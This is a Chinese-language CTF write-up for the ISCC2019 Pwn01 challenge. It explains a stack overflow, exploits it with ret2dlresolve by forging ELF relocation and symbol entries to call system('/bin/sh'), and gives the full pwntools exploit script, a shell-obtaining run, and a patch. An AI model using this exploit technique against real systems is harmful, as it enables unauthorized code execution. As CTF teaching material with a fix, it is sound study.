ISCC2019 Pwn01 writeup

TOC

  1. 1. 程序功能介绍
    1. 1.1. 安全防护
    2. 1.2. 主要代码
  2. 2. 分析
  3. 3. 思路
    1. 3.1. 控制程序流
    2. 3.2. 构造
      1. 3.2.1. 计算地址
  4. 4. 完整脚本
    1. 4.1. 运行实例
  5. 5. 修复
    1. 5.1. 填充指令
    2. 5.2. patched
  6. 6. 总结

源程序下载:pwn01.zip

本题主要考察 ret2dlresolve 漏洞的使用。

程序功能介绍

安全防护

ex@Ex:~/test$ checksec pwn01
[*] '/home/ex/test/pwn01'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

主要代码

; int __cdecl main(int argc, const char **argv, const char **envp)
public main
main proc near

var_16= byte ptr -16h
var_C= dword ptr -0Ch
argc= dword ptr 8
argv= dword ptr 0Ch
envp= dword ptr 10h

lea ecx, [esp+4]
and esp, 0FFFFFFF0h
push dword ptr [ecx-4]
push ebp
mov ebp, esp
push ebx
push ecx
sub esp, 10h
call __x86_get_pc_thunk_bx
add ebx, 1B93h
sub esp, 4
push 0F4240h
mov eax, offset buf
push eax
push 0
call _read
add esp, 10h
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
sub esp, 4
push eax
mov eax, offset buf
push eax
lea eax, [ebp+var_16]
push eax
call _memcpy
add esp, 10h
mov eax, 0
lea esp, [ebp-8]
pop ecx
pop ebx
pop ebp
lea esp, [ecx-4]
retn
main endp

就是先把我们的输入读到全局变量buf中,然后再将输入的内容复制到栈中。

分析

主要通过栈溢出来达到我们想要的目的,但是程序没有回显函数,也没有现成ROPgadget可以直接拿shell,我们也不知道glibc库的基地址,所以这题我们需要用到ret2dlresolve漏洞来拿shell。

思路

  1. 控制程序流
  2. 构造好假的Elf32_Rel和假的Elf32_Sym,让_dl_runtime_resolve函数解析我们指定的字符串

控制程序流

只需要简单的栈溢出即可控制程序流。

offset = 0x100
# 布局
layout1 = [
'\0' * 14,
p32(buf_addr + 4 + offset), # ecx
]

payload1 = flat(layout1).ljust(offset, '\0')

这里之所以需要偏移,是因为我们后面的栈直接指向的buf_addr + offset这个地址,所以我们需要先填充号中间的空缺。

之后调用read函数来读取我们构造好的内容,注意这里需要栈转移,否则很容易会出问题,具体情况需要调试glibc源码。

# 0x08048519 : pop esi ; pop edi ; pop ebp ; ret
pop_3_addr = 0x08048519

# 0x0804851b : pop ebp ; ret
pop_ebp_ret = 0x0804851B

# 0x080483c5 : leave ; ret
leave_ret = 0x080483c5

layout1 = [
elf.plt['read'],
p32(pop_3_addr),
p32(0),
p32(container),
p32(0x200),
# 可能会影响bbs,也就是 buf_addr 周围的一些值,
# 导致整个程序崩溃,所以把栈放的越远越好
# 也可能是要把栈和 我们存放的 container 放在一起才不会崩溃
p32(pop_ebp_ret), # 栈转移
p32(container),
p32(leave_ret),
]

payload1 += flat(layout1)

# pause()
sh.send(payload1) # 初次输入

然后就控制程序流调用_dl_runtime_resolve函数来解析我们构造好的函数名字符串,并传入“/bin/sh”参数,准备拿shell。

# _dl_runtime_resolve(link_map, rel_offset)
_dl_runtime_resolve = 0x080482F0
fake_rel_offset = fake_rel_plt_addr - rel_plt_addr

fake_dynstr_offset = fake_dynstr_addr - dynstr_addr

# 第一个参数的地址,要和前面的都间隔开来
sh_offset = 200
sh_addr = container + sh_offset

layout2 = [
p32(0), # ebp
p32(_dl_runtime_resolve),
p32(fake_rel_offset), # 指向 fake dynstr
p32(elf.plt['__libc_start_main']), # ret addr
p32(sh_addr), # 第一个参数
]

payload2 = flat(layout2).ljust(container_offset, '\0')

这里要container_offset偏移的原因是,我把要执行的栈和假的Elf32_Rel和假的Elf32_Sym放在了一起,所以中间需要用偏移间隔开来。

构造

计算地址

我们需要把我们所需要的地址全都计算好。

rel_plt_addr = 0x80482b4
dynsym_addr = 0x80481cc
dynstr_addr = 0x0804822c

buf_addr = 0x804A040

# 想要存放的地方,假的重定位表
container = 0x804b000 - 0x300 # buf_addr + 0x1000 #
# 前面要存放指令,所以要先间隔开来
container_offset = 100
fake_rel_plt_addr = container + container_offset

# 就和 fake_rel_plt_addr 放在一起
fake_dynsym_addr = fake_rel_plt_addr + 36
# 与 dynsym_addr 对齐
align = 16 - (fake_dynsym_addr - dynsym_addr) % 16
fake_dynsym_addr += align

# Elf32_Rel->r_info
index_dynsym = int((fake_dynsym_addr - dynsym_addr) / 16)
r_info = (index_dynsym << 8) | 0x7

# 假的字符串表地址,紧贴着 fake_dynsym_addr 放
fake_dynstr_addr = fake_dynsym_addr + 16

构造好假的Elf32_Rel和假的Elf32_Sym布局,为了前面的调用_dl_runtime_resolve函数做好准备。

layout2 = [
elf.got['__libc_start_main'], # Elf32_Rel->r_offset ,我们要修改的值
p32(r_info), # Elf32_Rel->r_info
'\0' * (fake_dynsym_addr - (fake_rel_plt_addr + 8)), # 中间的偏移量
p32(fake_dynstr_offset) + p32(0) + p32(0) + p32(0x12) , #fake Elf32_Sym
"system\x00", # fake dynstr
]

payload2 = (payload2 + flat(layout2) ).ljust(sh_offset, '\0')
payload2 += '/bin/sh\x00'
# pause()
sh.sendline(payload2)

这样就可以解析我们的system字符串并直接执行syste函数了,像sh_offset的偏移都需要我们提前构造好,这题的难点可能就是在构造上面了。

完整脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import time
import struct

# context.log_level = "debug"

sh = process('./pwn01')
# sh = remote("39.100.87.24 ",8101)
elf = ELF('./pwn01')

try:
f = open('pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
except Exception as e:
print(e)

rel_plt_addr = 0x80482b4
dynsym_addr = 0x80481cc
dynstr_addr = 0x0804822c

buf_addr = 0x804A040

# 想要存放的地方,假的重定位表
container = 0x804b000 - 0x300 # buf_addr + 0x1000 #
# 前面要存放指令,所以要先间隔开来
container_offset = 100
fake_rel_plt_addr = container + container_offset

# 就和 fake_rel_plt_addr 放在一起
fake_dynsym_addr = fake_rel_plt_addr + 36
# 与 dynsym_addr 对齐
align = 16 - (fake_dynsym_addr - dynsym_addr) % 16
fake_dynsym_addr += align

# Elf32_Rel->r_info
index_dynsym = int((fake_dynsym_addr - dynsym_addr) / 16)
r_info = (index_dynsym << 8) | 0x7

# 假的字符串表地址,紧贴着 fake_dynsym_addr 放
fake_dynstr_addr = fake_dynsym_addr + 16

offset = 0x100
# 布局
layout1 = [
'\0' * 14,
p32(buf_addr + 4 + offset), # ecx
]

payload1 = flat(layout1).ljust(offset, '\0')

# 0x08048519 : pop esi ; pop edi ; pop ebp ; ret
pop_3_addr = 0x08048519

# 0x0804851b : pop ebp ; ret
pop_ebp_ret = 0x0804851B

# 0x080483c5 : leave ; ret
leave_ret = 0x080483c5

layout1 = [
elf.plt['read'],
p32(pop_3_addr),
p32(0),
p32(container),
p32(0x200),
# 可能会影响bbs,也就是 buf_addr 周围的一些值,
# 导致整个程序崩溃,所以把栈放的越远越好
# 也可能是要把栈和 我们存放的 container 放在一起才不会崩溃
p32(pop_ebp_ret), # 栈转移
p32(container),
p32(leave_ret),
]

payload1 += flat(layout1)

# pause()
sh.send(payload1) # 初次输入


'''
.plt:080482F0 sub_80482F0 proc near ; CODE XREF: .plt:0804830B↓j
.plt:080482F0 ; .plt:0804831B↓j ...
.plt:080482F0 push ds:dword_804A004
.plt:080482F6 jmp ds:dword_804A008
.plt:080482F6 sub_80482F0 endp
'''
# _dl_reslove(link_map, rel_offset)
_dl_runtime_resolve = 0x080482F0
fake_rel_offset = fake_rel_plt_addr - rel_plt_addr

fake_dynstr_offset = fake_dynstr_addr - dynstr_addr

# 第一个参数的地址,要和前面的都间隔开来
sh_offset = 200
sh_addr = container + sh_offset

layout2 = [
p32(0), # ebp
p32(_dl_runtime_resolve),
p32(fake_rel_offset), # 指向 fake dynstr
p32(elf.plt['__libc_start_main']), # ret addr
p32(sh_addr), # 第一个参数
]

payload2 = flat(layout2).ljust(container_offset, '\0')

layout2 = [
elf.got['__libc_start_main'], # Elf32_Rel->r_offset ,我们要修改的值
p32(r_info), # Elf32_Rel->r_info
'\0' * (fake_dynsym_addr - (fake_rel_plt_addr + 8)), # 中间的偏移量
p32(fake_dynstr_offset) + p32(0) + p32(0) + p32(0x12) , #fake Elf32_Sym
"system\x00", # fake dynstr
]

payload2 = (payload2 + flat(layout2) ).ljust(sh_offset, '\0')
payload2 += '/bin/sh\x00'
# pause()
sh.sendline(payload2)

sh.interactive()

# 删除调试文件
os.system("rm -f pid")

运行实例

ex@Ex:~/test$ ./exp.py 
[+] Starting local process './pwn01': pid 10677
[*] '/home/ex/test/pwn01'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] Switching to interactive mode
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),127(sambashare),129(wireshark),132(docker)
$

修复

填充指令

push ebp
mov ebp, esp
push 14 ; 栈不被破坏的最大字节数
push dword ptr 12[ebp]
push dword ptr 8 [ebp]
call _read
add esp, 12
mov esp, ebp
pop ebp
ret

patched

.text:08048476  push    0F4240h
.text:0804847B mov eax, offset buf
.text:08048481 push eax
.text:08048482 push 0
.text:08048484 call _read

call _read指令修改为我们填充的指令的地址。

总结

第一次接触ret2dlresolve漏洞的时候,感觉这个漏洞是很难理解的,但是随着自己的调试,慢慢地就理解它的原理。

这里还要多多感谢ZhouYetao师傅的指点。